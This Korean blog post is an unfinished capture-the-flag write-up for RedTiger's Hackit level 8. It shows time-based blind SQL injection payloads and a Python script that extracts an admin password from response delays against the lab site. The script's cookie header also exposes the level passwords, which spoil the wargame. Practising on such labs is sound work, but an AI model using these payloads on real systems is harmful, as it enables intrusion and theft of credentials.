webhacking/sql, sql injection

RedTigers Hackit 8 (미완)

qkqhxla1 2015. 1. 11. 14:05

email에 ' or username='Admin' and length(password)=18 and sleep(5) or '5

로 5초 멈추는걸로 보아 길이 18 확인.



' or username='Admin' and locate(char(116),password)=1 and sleep(5) or '5


' or username='Admin' and instr(password,char(116))=1 and sleep(5) or '5


같은 쿼리로 비밀번호를 빼내려했으나 일부 비밀번호가 안빠짐.


왜그런지는 모르겠음. 연구 필요.



# -*- encoding: cp949 -*-
import urllib2,time

#answer = 'THEM ANI GOFL   42'
answer = ''
for j in range(5,19):
    for i in range(32,128):
        start = time.time()
        req = urllib2.Request('http://redtiger.labs.overthewire.org/level8.php','email=%27+or+username%3D%27Admin%27+and+instr%28password%2Cchar%28'+str(i)+'%29%29%3D'+str(j)+'+and+sleep%285%29+or+%275&name=Hans&icq=12345&age=25&edit=Edit')
        req.add_header('cookie','level2login=easylevelsareeasy_%21; level3login=securitycat_says_meow_and_likes_cheese; level4login=dont_publish_solutions_GRR%21; level5login=bananas_are_not_yellow-sometimes; level6login=my_cat_says_meow_meowmeow; level7login=dont_shout_at_your_disks%2A%2A%2A; level8login=MOOcowMEOWcatOinkPIG')
        page = urllib2.urlopen(req).read()
        gap = time.time()-start
        print j,i,gap,answer
        if gap > 5:
            answer += chr(i)
            break
print answer

---------------------------------

추가


locate함수로 정확하게 대소문자 구별하면서 뽑아낼수 있다.


원래는 locate('abcde',1)='a'도 true고 locate('abcde',1)='A'도 true로 대소문자 구별을 안했는데


이렇게 가능하다.


select locate('a',binary 'abcde',1)=1;

select locate('A',binary 'abcde',1)=1;


select locate('b',binary 'abcde',1)=2;

select locate('B',binary 'abcde',1)=2;



근데 또 이런식으로 쿼리문을 주니 제대로 동작을 안함. 문제 정체가 뭐야 ㅅㅂ

또 삽질하다 발견했는데 position함수도 됨


오 근데 쿼리문을 locate에서는 한바퀴돌아도 답이 안나왔는데 position으로 바꾼결과 

뭔가 뽑히기 시작하는데 제대로 안나오는건 여전. 다음에 다시.


'webhacking > sql, sql injection' 카테고리의 다른 글

webhacking.kr 27, 29  (0) 2015.01.15
WeChall No Escape, Training: MySQL I, Training: MySQL II  (0) 2015.01.12
RedTigers Hackit 7  (0) 2015.01.09
RedTigers Hackit 6  (0) 2015.01.09
RedTigers Hackit 4~5  (0) 2015.01.08